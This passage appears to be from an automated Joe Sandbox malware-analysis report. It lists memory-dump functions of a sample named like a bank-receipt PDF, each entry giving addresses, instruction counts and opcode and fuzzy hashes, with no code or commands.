
Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713103cb10119ddd681de32c135daa6aa3003731c9a46818e51558497f7c702a
Instruction ID: d4dea0c5155f2c847e45bd3f541d00c861241d27faaca55282e7ea3cf5aec8f3
Opcode Fuzzy Hash: 713103cb10119ddd681de32c135daa6aa3003731c9a46818e51558497f7c702a
Instruction Fuzzy Hash: 70314770E25209DFCB48CFAAC5846AEBFF2EB88312F24D4AAD415A7250D7349A41CF54

Function 013CD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041799744.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13cd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13978e97ed4321b49b9e03dd332149abf38a4d932c028a8ae70f8ba4c7225237
Instruction ID: 4110e2362606ceb6db92bcc4f11c8c021a2b905d956e15fe6f9c769f54e0c438
Opcode Fuzzy Hash: 13978e97ed4321b49b9e03dd332149abf38a4d932c028a8ae70f8ba4c7225237
Instruction Fuzzy Hash: 74210271100204DFDB05DF58D9C0B66BF69FB88718F20C17DEA091A256C73AE806C7E1

Function 013CD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041799744.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13cd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b072b94728dfe8c13c6e9d065791f68047ac7f074e4894ec1fda0aa12a8e2682
Instruction ID: 9af20bad539193d78c4856436c4ac632541eceb05b857d8f22f195c7b9649a4f
Opcode Fuzzy Hash: b072b94728dfe8c13c6e9d065791f68047ac7f074e4894ec1fda0aa12a8e2682
Instruction Fuzzy Hash: AD21E072500244DFDB05DF58D980B26BF69FB98718F20857DE9090A256C33AD816CBE2

Function 0827F81A Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a2f55d5c6671472f59f236449a368ffc0defe1cb9b7a210485d9511a3e24ce
Instruction ID: 313e77a36256ea689717d68caea1d4850b5698e203b6e7c4c5e22768ef69f8e1
Opcode Fuzzy Hash: 27a2f55d5c6671472f59f236449a368ffc0defe1cb9b7a210485d9511a3e24ce
Instruction Fuzzy Hash: 4531F574E252099FCB05DFA9D588AEEBBF1FF49311F10812AE811A7360DB709940CFA4

Function 0827F820 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f566fdff3261c824c85ea3688323caf0bd0f82f3b28ef5dec813753fe78e556
Instruction ID: f157f78810beb59883515f371ddb751d6555461497033d951eaa6b324f75f4fe
Opcode Fuzzy Hash: 3f566fdff3261c824c85ea3688323caf0bd0f82f3b28ef5dec813753fe78e556
Instruction Fuzzy Hash: A631C774E142099FCB05DFA9D5989EDBBF1FF49311F10812AE815A7360DB74A940CFA4

Function 0827D0EF Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c29d6aa8800e562fa8929ce93431096ff60cf05e5daab61db8470939a99e4ca3
Instruction ID: 02677df4770d659297921f61cd6afc901e1652fa4acb121eabf65e55b6e48033
Opcode Fuzzy Hash: c29d6aa8800e562fa8929ce93431096ff60cf05e5daab61db8470939a99e4ca3
Instruction Fuzzy Hash: 4D314838A103288FCB549F24EA58BA9BBB6FB89301F1081E9D40E97359DB315DD1CF61

Function 013DD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041871134.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e0eacd78df9ae65a921251d6922c659c92187bf98ed209e8dcef7a95116394
Instruction ID: ae4427178aa0a15d060b0a68f12b19a806c88b1cb044774888db9f302bfee3fa
Opcode Fuzzy Hash: b4e0eacd78df9ae65a921251d6922c659c92187bf98ed209e8dcef7a95116394
Instruction Fuzzy Hash: 59212572504204DFCB15DF68E980B16BF69FBC8318F20C56DD90A0B396C33AD407CA61

Function 013DD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041871134.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdb80c824afd3042c150196b4281eb22436b9bea156a4e955834acb954372585
Instruction ID: db231c413c444d43013b6f1d15a58509b3292c2f1091f3d556ad93ed7213aae6
Opcode Fuzzy Hash: bdb80c824afd3042c150196b4281eb22436b9bea156a4e955834acb954372585
Instruction Fuzzy Hash: F9210772544204EFDB05DFA8E9C0F26BF69FB84328F20C56DD9494B396C33AD406CA61

Function 0827B142 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cd449de45a7839eb60a3efd68f62aa850ba4b78ff525fccc4f025c02c10313
Instruction ID: 9dd4d4bae718a5de6793dc1cc32608be3e73aa6de440ff7e1af6b616a16ba740
Opcode Fuzzy Hash: e1cd449de45a7839eb60a3efd68f62aa850ba4b78ff525fccc4f025c02c10313
Instruction Fuzzy Hash: 1C217F30D0A3849FCB0ADFAAD8545ADBFB1AF8B311F4481AED445AF262C7748885CB51

Function 0827A148 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c822ac9d43eaea3b9e40658c31d63269b2659462490b60f53b98566a8b3ac09d
Instruction ID: 3703bd52eff365c507fe34038a40e8e9627848704293e6f2c51af1f25b82f64e
Opcode Fuzzy Hash: c822ac9d43eaea3b9e40658c31d63269b2659462490b60f53b98566a8b3ac09d
Instruction Fuzzy Hash: 3B21E674D19259CFCB45CFAAC5809AEBBF5EB49311F20919AD40AA7712C3709A40CF91

Function 0827E8AA Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eab6a460843ee991560df64ee8fb3133d4558ccef51b5c172f797ab08ef881e
Instruction ID: 5b26f369958b8dea3e15e0d1d8f79b2573ff418db615cb206a86a08e5ef63b26
Opcode Fuzzy Hash: 1eab6a460843ee991560df64ee8fb3133d4558ccef51b5c172f797ab08ef881e
Instruction Fuzzy Hash: 0C11E735B10216DFCB589EBE98146BF7AA6BFC4F21F05856DD806C7351EA708D4187E0

Function 082719A8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0140ba1ef39ff2314d65890c07d1be4b4413485798092029836a5cd8535d713
Instruction ID: a037d94abd124c8522f61836aa25f332d4c138a8767a4e1d697c6901de7f1cb2
Opcode Fuzzy Hash: a0140ba1ef39ff2314d65890c07d1be4b4413485798092029836a5cd8535d713
Instruction Fuzzy Hash: B2213970E1120ADFCB48CFAAD541AAEFBF1FF89300F20C56AD804A7254E7749A51DB51

Function 082719B8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9b0967120a3950062bd897802843f9c37c6175b67a654a0769bd291ef7cb528
Instruction ID: 3c7010589b6e861b12749fe84a6f30d5f4c5d10577cbda271a521f4295900e8d
Opcode Fuzzy Hash: c9b0967120a3950062bd897802843f9c37c6175b67a654a0769bd291ef7cb528
Instruction Fuzzy Hash: 762139B0D1420ADFCB48CFAAC541AAEFFF6BF89301F10D5AAC405A7254E7749A51CB91

Function 013DD006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041871134.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d387f662fd65582d05f54e9074dd4e612e7d43f5c1062052c1d7e20338576a
Instruction ID: b4e93b6ac7e1294fcb109a2a0c50ee71ace61766806bf710f17cf7aca6935920
Opcode Fuzzy Hash: b2d387f662fd65582d05f54e9074dd4e612e7d43f5c1062052c1d7e20338576a
Instruction Fuzzy Hash: DE21A4765093808FDB13CF24D994715BF71EB85218F28C5DAD8498B697C33AD40ACB62

Function 0827A1F7 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e393c1b32a28fe2ed1005d72165fd58d3af4c79652e43adc2ca56a3ef08ac25f
Instruction ID: fcf742a6339e748605a554d249ae00a0f1d1df72bda656ea4bfabd053a4518aa
Opcode Fuzzy Hash: e393c1b32a28fe2ed1005d72165fd58d3af4c79652e43adc2ca56a3ef08ac25f
Instruction Fuzzy Hash: 67113A70D19218DFCB44DFA9D0809EDBFF4FF49321B11929AC459AB212C3719A45CB40

Function 0827A794 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18c908085f9fcab4e392dc3c36c096acc8b1d2e0c216afe5ffbe5581190edbbc
Instruction ID: 1a568511653c781e543f136baf5186f86d59297da04cdf1a4525145908b6836f
Opcode Fuzzy Hash: 18c908085f9fcab4e392dc3c36c096acc8b1d2e0c216afe5ffbe5581190edbbc
Instruction Fuzzy Hash: C3114C34929228CFDB18CF55D9849EDB3B9FB4A312F609599D40BAB341C3719D81CF10

Function 013CD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041799744.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13cd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: f2ffcc70b4e4c94f94507ee17fa93528331b2c5d8531092b7894fc48b748b9e9
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 0F11DF76404280CFCB02CF54D9C4B16BF71FB98718F24C6ADE9490B256C336D85ACBA2

Function 013CD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041799744.00000000013CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13cd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 552bb52206dd55e9d394dd3edebcf0aeac0606c10ebbaadf89f6abdb6c6c596c
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 4111CD72404240DFDB02CF44D9C4B56BF61FB84224F24C6ADEA090A256C33AE85ACBA2

Function 08276EE8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec805cd7ce4f12ed7674594eeb73fff3c2df9b21f66e25434c9cee30be99c1f
Instruction ID: 9468ac724b69de6a7e88ab9c911b4a8feec10644c0a46c3675ddf57855c07eac
Opcode Fuzzy Hash: 0ec805cd7ce4f12ed7674594eeb73fff3c2df9b21f66e25434c9cee30be99c1f
Instruction Fuzzy Hash: AC1176B0E15209DFCB08CFAAD54029EBFF2EF98200F2485AAD41AE7240E6309E00CB45

Function 08276FA9 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7742fd39d694921dae5b9dc61add347a8a5d6c4d8714757884241302faf7666
Instruction ID: 454043e15d5751398b7a7ea0516f9524cb1e26711c2a52675d89b674fff6bc4b
Opcode Fuzzy Hash: b7742fd39d694921dae5b9dc61add347a8a5d6c4d8714757884241302faf7666
Instruction Fuzzy Hash: A9116AB4E16609DFCB09CFAAD54469EBFF2AF89300F2485AAD405E3354D7348B41CB52

Function 0827CFEA Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d679893ce7df03e3f858f2cf333d9026fb0d2950f20ee2c75549c755fff00b6
Instruction ID: 9af3dc95b3a1981f035af49ccd675a8f836b7cc0ce95e830b7d59edbfdbcacf8
Opcode Fuzzy Hash: 7d679893ce7df03e3f858f2cf333d9026fb0d2950f20ee2c75549c755fff00b6
Instruction Fuzzy Hash: 4121E934A15219CFCB14DF65EA48A9CBBB6FB88201F20856DD40A97316DE315D95CF50

Function 013DD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2041871134.00000000013DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13dd000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: b3c011350aefb281e6bf39502d269d8eddc9a1d51421b2efc751c7ed6ef4707d
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 9011BB76504280DFDB02CF54D5C4B15BFB1FB84228F24C6A9D8494B696C33AD40ACB62

Function 08276EF8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d0bdc3a83a618c1acdd68cc556adc419e93d808573a4a2fb52b66b87263463c
Instruction ID: 561529f6b10c6341263e7414fdcb6b0c2d0a7a820da427ffeae71b55da5d2bfc
Opcode Fuzzy Hash: 1d0bdc3a83a618c1acdd68cc556adc419e93d808573a4a2fb52b66b87263463c
Instruction Fuzzy Hash: 2B1148B0E15609DFCB08CFAAD54029EBFF6FB98201F20C5AAD41AE7244E7309A00CB41

Function 08276FB8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8cf9f8aa5c15012c6887149606269c783e399c3c28d2885abed10465eff3a2
Instruction ID: cbfceb9be99a69922b253dbd5779908872eed650fa9adc930a681c942f4049c4
Opcode Fuzzy Hash: 7d8cf9f8aa5c15012c6887149606269c783e399c3c28d2885abed10465eff3a2
Instruction Fuzzy Hash: D1115EB4E25609DFCB48CFAAD54459EBFF2AF88301F20C56AD405E3344D7709A41CB51

Function 0827A208 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ebe575f2e03c22e378a3d2d49d2219c086723403a585c122e4ea275998b88ee
Instruction ID: 42286f264657884241f62b5d62d7baca77c5c74b75c279655106223e91d8326a
Opcode Fuzzy Hash: 7ebe575f2e03c22e378a3d2d49d2219c086723403a585c122e4ea275998b88ee
Instruction Fuzzy Hash: 1A113C70D18118DFCB48DF9AD5809AEBBF9FF49321F11D59AD419A7311D3719A40CB40

Function 0827B558 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9204e9d7d7bfb5cbfe48086c1e3d4b2015995d0778d35ffb8b2cbacc09e01512
Instruction ID: 0b15bb38a41393327f84b1448ef1ac0267e787565a669e1d0d4500f233187663
Opcode Fuzzy Hash: 9204e9d7d7bfb5cbfe48086c1e3d4b2015995d0778d35ffb8b2cbacc09e01512
Instruction Fuzzy Hash: 1601847096D284EFCB09CF66D5409EDFFB8EF5A322B1492A9D0059B212D3708B45DB90

Function 0827B5D0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a2a81227e96428354daf6fcb47ef41c480cca86c6769f5924316562ec821a0
Instruction ID: 60234bd501452c5dc8c3bca714d1a734bd0bbb22c75c6abfd2669d3fa8e585d6
Opcode Fuzzy Hash: c9a2a81227e96428354daf6fcb47ef41c480cca86c6769f5924316562ec821a0
Instruction Fuzzy Hash: 59018C34A19104DFC704DFA9C688AA8BBF5EB09311F15C1E9D8088B362C630CE42DB40

Function 0827A6F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98b864153f461e11716d693849fcc129abd362169318ff84367f74d556aeb6e
Instruction ID: 033dff709fb0bc5391766c0149d2e86c9abbaf684024cad3b3f081eb3c7de21c
Opcode Fuzzy Hash: b98b864153f461e11716d693849fcc129abd362169318ff84367f74d556aeb6e
Instruction Fuzzy Hash: 4911FAB1D15619CBEB1CCF5BD8046EEFAF7AFC9301F14C17AD40966255DB700A468E90

Function 08275168 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491a9771f06877a3123cd8e5280c456fe1bd9be3d64f49a98dcb9f7acf08e99c
Instruction ID: be2b6a80b5350f1eb20b0db65b381898b538836fb0f34e07d10be2e054dab03f
Opcode Fuzzy Hash: 491a9771f06877a3123cd8e5280c456fe1bd9be3d64f49a98dcb9f7acf08e99c
Instruction Fuzzy Hash: C7112AB4E1520ADFCB48CFA9D64169EFFF2EF88301F20816AD804A3304E7704A519B85

Function 08275178 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970957ca7d9b93beb262c7be97df3a86020fa0b4eee0c7a54199624731e35164
Instruction ID: 64f5f4ed2b2d5476a9598903e3b4cefb1e285f13dc02267f24e7829c5f0bfb4e
Opcode Fuzzy Hash: 970957ca7d9b93beb262c7be97df3a86020fa0b4eee0c7a54199624731e35164
Instruction Fuzzy Hash: D3111E74E15209DFCB48CFEAD6815AEFFF2EB88301F10816AD408E3344E7705A459B95

Function 0827D038 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16415671a38682c3b1b41e0ef654b85520cfa4a8d340bd6379d8225b97902976
Instruction ID: 2cda68fdf2362ab89eba6dfcff3a937f760a8ed2f45c9542de56eb2e47d8a505
Opcode Fuzzy Hash: 16415671a38682c3b1b41e0ef654b85520cfa4a8d340bd6379d8225b97902976
Instruction Fuzzy Hash: 0F114874A1021A8FCB14DF65E948BA8B7B6FF88201F1081AAD40DA7355DA314DD1CF60

Function 08275AB0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 383be87b9057a8ae6381dd4d6316f00875f9ada0089cab7a310d1397fe6feebd
Instruction ID: 3a2a939f383957c26f786ec6befa89a22940b982072f520e06e57af2a9e2a48a
Opcode Fuzzy Hash: 383be87b9057a8ae6381dd4d6316f00875f9ada0089cab7a310d1397fe6feebd
Instruction Fuzzy Hash: 8F015670E1A3899FCB56DFB9C9042AEFFB1AF0A310F0481ABD444E3282E6750A04CB55

Function 0827AC55 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d7359940ac83737045243b2281db2b43d838ade3807577764b197092e7e265
Instruction ID: 671d0afb435613cd2f59bf5aee06e846e1c2a330e691dce9ec6564efc828eadb
Opcode Fuzzy Hash: 59d7359940ac83737045243b2281db2b43d838ade3807577764b197092e7e265
Instruction Fuzzy Hash: F0113934926124DFDB50DF18D984B9CBBB9FF48311F0191EAD84AA7212C330AE81CF00

Function 082770BB Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67220feecd0a608c94842edf13021c09f14383969c55ee9721362347d70f7b51
Instruction ID: ef2eaecf7370938cf24b0694358dd8fba5cc0b354f72058c7bf47889dd8e11eb
Opcode Fuzzy Hash: 67220feecd0a608c94842edf13021c09f14383969c55ee9721362347d70f7b51
Instruction Fuzzy Hash: 44014F74E25209DFCB48CFA9D94529DBFF2EB89311F28D5AAD404A3754EB308E449B44

Function 082770C0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbaa659765863e3502d08640e3d775b3d0fdb9ec73e66fe133eb5935daf644bc
Instruction ID: baedf307307c288ffa47e21fd0dd23ea108c3147f45a40d9ab90bfeea992db15
Opcode Fuzzy Hash: bbaa659765863e3502d08640e3d775b3d0fdb9ec73e66fe133eb5935daf644bc
Instruction Fuzzy Hash: BA01A434E25208DFCB48CFAAD54525DBFF6EB85301F14D1AAC004A3354E7308E448B44

Function 0827B568 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d73d759d6077f3e1f460466110876a6c42b64729d4fbd5e074701ef471801b2
Instruction ID: 820f444471fb6e63b4ee3b92b7b6d38a8dd0efad88d3d3f34496864457a022e2
Opcode Fuzzy Hash: 5d73d759d6077f3e1f460466110876a6c42b64729d4fbd5e074701ef471801b2
Instruction Fuzzy Hash: 9FF0AF70928188DFCB08CF5AD5409BDBBBCEF9A322F14D1A8D0095B216D7708A44DB80

Function 08275F21 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc403b244c8d0c5f7326b091991b506f4cadfb0022dda10f9f85e41ad0d6b5d
Instruction ID: 3446f7290599470fc1d15e19b68d847b7667f8e1a768782be14fc9468834a745
